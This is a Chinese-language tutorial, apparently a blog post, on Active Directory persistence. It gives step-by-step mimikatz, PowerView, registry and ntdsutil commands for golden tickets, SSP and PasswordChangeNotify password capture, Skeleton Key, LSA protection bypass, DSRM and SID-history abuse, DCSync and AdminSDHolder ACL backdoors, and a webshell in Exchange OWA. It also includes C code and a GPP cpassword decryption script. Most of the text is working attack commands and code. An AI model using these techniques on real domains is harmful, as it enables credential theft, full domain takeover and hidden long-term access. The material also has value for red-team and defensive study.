黄金票据

简介

Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。

制作金票的条件:

1、域名称

2、域的SID值

3、域的KRBTGT账户密码HASH

4、伪造用户名,可以是任意的

利用过程

金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的

1
lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt

命令获取krbtgt的值。

1566542295163

得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT。

参数说明:

/admin:伪造的用户名

/domain:域名称

/sid:SID值,注意是去掉最后一个-后面的值

/krbtgt:krbtgt的HASH值

/ticket:生成的票据名称

1
kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi

1566543225966

通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。

1
2
3
kerberos::purge
kerberos::ppt golden.kiribi
kerberos::list

1566542805439

此时就可以通过dir成功访问域控的共享文件夹。

1
dir \\OWA2010SP3.0day.org\c$

1566543260644

SSP密码记录

简介

SSP:Security Support Provider,直译为安全支持提供者,又名Security Package.

简单的理解为SSP就是一个DLL,用来实现身份认证。

SSPI:Security Support Provider Interface,直译为安全支持提供程序接口,是Windows系统在执行认证操作所使用的API。

简单的理解为SSPI是SSP的API接口

LSA:Local Security Authority,用于身份认证,常见进程为lsass.exe

特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中.

这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程lsass.exe。

1568039967810

如图,这是正常的SSPI结构图,Client APP是我们自定义的dll,通过Secur32.dll可以调用 “credential capture API“来获取LSA的信息

1568041132774

上图展示了攻击思路,既然可以自定义dll,那么我们就可以定制dll的功能,通过Named PipeShared Memory直接获取lsass.exe中的明文密码,并且能够在其更改密码时立即获得新密码。

mimilib SSP

mimikatz早已支持这个功能,而这个文件就是我们使用的时候常常忽略的mimilib.dll

1568041283216

利用过程

方法一
  1. 添加SSP

    将mimilib.dll复制到域控c:\windows\system32

  1. 设置SSP

    修改域控注册表位置:

    1
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\

    1568042525270

3.重启系统

域控重启后在c:\windows\system32可看到新生成的文件kiwissp.log

1568084137907

方法二:使用API AddSecurityPackage

(1)复制文件

同方法1

(2)修改注册表

同方法1

(3)调用AddSecurityPackage

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
   #define SECURITY_WIN32

#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")


int main(int argc, char **argv) {
SECURITY_PACKAGE_OPTIONS option;
option.Size = sizeof(option);
option.Flags = 0;
option.Type = SECPKG_OPTIONS_TYPE_LSA;
option.SignatureSize = 0;
option.Signature = NULL;
SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA("mimilib", &option);
printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet);
}

添加成功,如果此时输入了新的凭据(例如runas,或者用户锁屏后重新登录),将会生成文件kiwissp.log

方法2的自动化实现:

https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/persistence/Install-SSP.ps1

方法3:使用RPC控制lsass加载SSP

XPN开源的代码:

https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

测试如下图

111

添加成功

优点:

  • 不需要写注册表
  • 不调用API AddSecurityPackage
  • 不需要对lsass进程的内存进行写操作
  • lasss进程中不存在加载的dll

Memory Updating of SSPs

mimikatz同时还支持通过内存更新ssp,这样就不需要重启再获取账户信息

需要使用mimikatz.exe,命令如下:

1
2
privilege::debug
misc::memssp

通过修改lsass进程的内存,实现从lsass进程中提取凭据

1568097386864

命令执行后,如果此时输入了新的凭据(例如runas,或者用户锁屏后重新登录),将会在c:\windows\system32下生成文件mimilsa.log

1568097442668

Skeleton Key

Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。

简介

Skeleton Key被安装在64位的域控服务器上
支持Windows Server2003—Windows Server2012 R2
能够让所有域用户使用同一个万能密码进行登录
现有的所有域用户使用原密码仍能继续登录
重启后失效
支持 Skeleton Key

利用过程

在域控安装Skeleton Key

mimikatz命令:

1
2
privilege::debug
misc::skeleton

1568098265598

域内主机使用Skeleton Key登录域控

mimikatz的默认Skeleton Key设置为mimikatz

1
2
net use \\OWA2010SP3.0day.org mimikatz /user:administrator@0day.org
dir \\OWA2010SP3.0day.org\c$

Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限

1568099168617

绕过LSA Protection

配置LSA Protection

注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

新建-DWORD值,名称为RunAsPPL,数值为00000001

重启系统

使用mimidrv.sys绕过

mimikatz命令:

1
2
3
4
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

绕过cmd、regedit、taskmgr

1
2
3
4
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr

Hook PasswordChangeNotify

简介

Hook PasswordChangeNotify这个概念最早是在2013年9月15日由clymb3r提出,通过Hook PasswordChangeNotify拦截修改的帐户密码。

需要了解的相关背景知识如下:

  1. 在修改域控密码时会进行如下同步操作:

    a. 当修改域控密码时,LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求

    b. 如果符合,LSA接着调用PasswordChangeNotify在系统上同步更新密码

  2. 函数PasswordChangeNotify存在于rassfm.dll

  3. rassfm.dll可理解为Remote Access Subauthentication dll,只存在于在Server系统下,xp、win7、win8等均不存在

Hook PasswordChangeNotify有如下优点:

  1. 不需要重启
  2. 不需要修改注册表
  3. 甚至不需要在系统放置dll

利用过程

实现Hook PasswordChangeNotify共包含两部分:Hook dll和dll注入。

https://github.com/3gstudent/Hook-PasswordChangeNotify

编译工程,生成HookPasswordChange.dll

MFC设置为在静态库中使用MFC

1568103854190

上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll到域控主机

管理员权限执行:

1
PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1

1568104973054

手动修改域控密码后
在C:\Windows\Temp下可以找到passwords.txt,其中记录了新修改的密码。

1568105156124

自定义dll代码实现更多高级功能,如自动上传新密码。

以下链接中的代码可作为参考,其中实现了将获取的新密码上传至Http服务器

http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html

DSRM同步指定域用户

DSRM密码同步

Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。

利用如下命令:

1
2
3
4
C:\Users\Administrator>ntdsutil
ntdsutil: set DSRM password
Reset DSRM Administrator Password: SYNC FROM DOMAIN ACCOUNT test
Password has been synchronized successfully.

1568118352518

同步之后使用mimikatz查看test用户和SAM中Administrator的NTLM值。如下图所示,可以看到两个账户的NTLM值相同,说明确实同步成功了。

1
2
privilege::debug
lsadump::lsa /name:test /inject

1568118643769

1
2
3
privilege::debug
token::elevate
lsadump::sam

1568118740466

修改注册表允许DSRM账户远程访问

修改注册表 HKLM\System\CurrentControlSet\Control\Lsa 路径下的 DSRMAdminLogonBehavior 的值为2。

PS:系统默认不存在DSRMAdminLogonBehavior,手动添加。

DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。另外,在下一次进行DSRM密码同步之前,NTLM的值一直有效。所以为了保证权限的持久化,尤其在跨国域或上百上千个域的大型内网中,最好在事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作。

SID history

SID history是支持迁移方案的属性。每个用户帐户都有一个关联的安全标识符(SID),用于跟踪安全主体和连接到资源时的帐户及访问权限。SID历史记录允许另一个帐户的访问被有效的克隆到另一个帐户。这是非常有用的,其目的是确保用户在从一个域移动(迁移)到另一个域时能保留原有的访问权限。由于在创建新帐户时用户的SID会发生更改,旧的SID需要映射到新的帐户。当域A中的用户迁移到域B时,将在DomainB中创建新的用户帐户,并将DomainA用户的SID添加到DomainB的用户帐户的SID历史记录属性中。这样就可以确保DomainB用户仍可以访问DomainA中的资源。

Mimikatz支持SID历史注入到任何用户帐户(需要域管理员或等效的权限)。在这种情况下,攻击者创建用户帐户“test”,并将该域的默认管理员帐户“Administrator”(RID 500)添加到帐户的SID历史记录属性中。

1
2
privilege::debug
sid::add /new:[DomainAdmin's SID or NAME] /sam:[CommonUserNAME]

当test登录时,将对与该帐户相关联的SID进行评估,并根据这些SID来确定访问权限。由于test帐户与Administrator帐户(RID 500)相关联,因此,test帐户具有Administrator帐户的所有访问权限,包括域管理员权限。

GPO[组策略]后门

利用SYSVOL还原组策略中保存的密码

使用Group Policy Preferences配置组策略批量修改用户本地管理员密码。

开始-管理工具-组策略管理

选择域,创建GP0

1568190482125

设置名称为test

test-设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组

1568190567581

更新,administrator(内置),设置密码

1568190624962

委派,设置权限

在详细一栏,可看到该策略对应的ID为{05F24259-49D8-481A-8408-567DC3155838}

1568190671139

组策略配置完成,域内主机重新登录,即可应用此策略

在对应的文件夹下能找到配置文件Groups.xml,具体路径如下:

1
\\0day.org\SYSVOL\0day.org\Policies\{05F24259-49D8-481A-8408-567DC3155838}\User\Preferences\Groups

Groups.xml内容如下:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (内置)" image="2" changed="2019-09-11 08:29:51" uid="{32DED100-2B0D-41CB-8341-F5FBCF77FE13}"><Properties action="U" newName="" fullName="" description="" cpassword="Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (内置)"/></User>
</Groups>

cpassword项,保存的是加密后的内容"Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw"

加密方式为AES 256,虽然目前AES 256很难被攻破,但是微软选择公开了该AES 256加密的私钥,地址如下:

https://msdn.microsoft.com/en-us/library/cc422924.aspx

借助该私钥,我们就能还原出明文

采用Chris Campbell @obscuresec开源的powershell脚本,地址如下:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

该脚本可在域内主机上执行,能够自动查询共享文件夹\SYSVOL中的文件。

也可以利用如下代码进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import sys
from Crypto.Cipher import AES
from base64 import b64decode

if(len(sys.argv) != 2):
print "decrypt.py <cpassword>"
sys.exit(0)

key = """4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b""".decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
out = AES.new(key, AES.MODE_CBC, "\x00" * 16)
out = out.decrypt(password)
print out[:-ord(out[-1])].decode('utf16')

1568191571479

通过Group Policy Management Console (GPMC) 实现计划任务的远程执行

同上创建GPO,在计划任务中添加。

1568192348420

第四个任务选项会在每次组策略刷新时执行。

四种计划任务的区别可参考官方文档:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770904(v%3dws.11)

1568192727717

对于域内的主机,可以等待90分钟使组策略自动更新,也可以在客户端执行如下命令强制刷新组策略:

1
gpupdate /force

DCSync

利用DCSync导出域内所有用户hash的方法

利用条件:

获得以下任一用户的权限:

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

导出域内所有用户的hash:

1
mimikatz.exe privilege::debug "lsadump::dcsync /domain:rootkit.org /all /csv" exit

1568197137085

利用DCSync在域内维持权限的方法

利用条件:

获得以下任一用户的权限:

  • Domain Admins组内的用户
  • Enterprise Admins组内的用户

利用原理:

向域内的一个普通用户添加如下三条ACE(Access Control Entries):

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限。

Windows系统中的ACL(Access Control List),用来表示用户(组)权限的列表。

利用方法:

利用PowerView.ps1,添加ACE的命令如下:

1
Add-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose

1568202728574

删除ACE的命令:

1
Remove-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose

在域内一台登录了sqladmin用户的主机上面,就能使用mimikatz的DCSync功能

1
mimikatz.exe privilege::debug "lsadump::dcsync /domain:0day.org /all /csv" exit

1568203197954

AdminSDHolder

AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护的AD账户和组的模板

Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的

如果能够修改AdminSDHolder对象的ACL,那么修改的权限将自动应用于所有受保护的AD账户和组,这可以作为一个域环境权限维持的方法

向AdminSDHolder对象添加ACL

使用PowerView,添加用户dbadmin 的完全访问权限

1
Add-ObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rootkit,DC=org"  -PrincipalIdentity dbadmin -Verbose -Rights All

1568215397075

默认等待60分钟以后,dbadmin获得对所有受保护的AD账户和组的完全访问权限

可以通过修改注册表的方式设置权限推送的间隔时间,注册表位置如下:

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters,AdminSDProtectFrequency,REG_DWORD

例如修改成等待60秒的命令如下:

1
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

1568215431765

dbadmin用户可以直接访问域控。

1568215569041

删除AdminSDHolder中指定用户的ACL

删除用户dbadmin的完全访问权限,命令如下

1
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rookit,DC=org" -PrincipalIdentity dbadmin -Rights All -Verbose

非常规方法

若域控主机为owa主机,即exchange服务器主机,我们可以在owa目录下留一个aspx的木马。用作维持权限。

在如下目录中加入一个aspx木马。

1
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

1568213801260